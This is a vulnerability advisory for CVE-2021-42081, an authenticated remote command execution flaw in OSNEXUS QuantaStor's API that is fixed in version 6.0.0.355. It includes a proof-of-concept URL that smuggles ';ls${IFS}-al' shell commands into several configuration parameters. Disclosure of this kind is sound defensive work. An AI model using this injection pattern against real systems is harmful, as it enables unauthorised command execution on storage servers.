Critical · 9.1 CVE-2021-42081 EUVD-2021-29067GHSA-7g9g-whvg-fhcj

Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Published Jul 10, 2023 · Updated Sep 22, 2025 · Assigned by DIVD

Vendor: Osnexus Product: QuantaStor

Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.

POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Affected products

Vendor	Product	Affected	Fixed
OSNEXUS	QuantaStor	< 6.0.0.355	6.0.0.355

References

https://www.wbsec.nl/osnexus third-party-advisory technical-description exploit
https://csirt.divd.nl/DIVD-2021-00020/ third-party-advisory
https://www.osnexus.com/products/software-defined-storage product
https://csirt.divd.nl/CVE-2021-42081 third-party-advisory technical-description exploit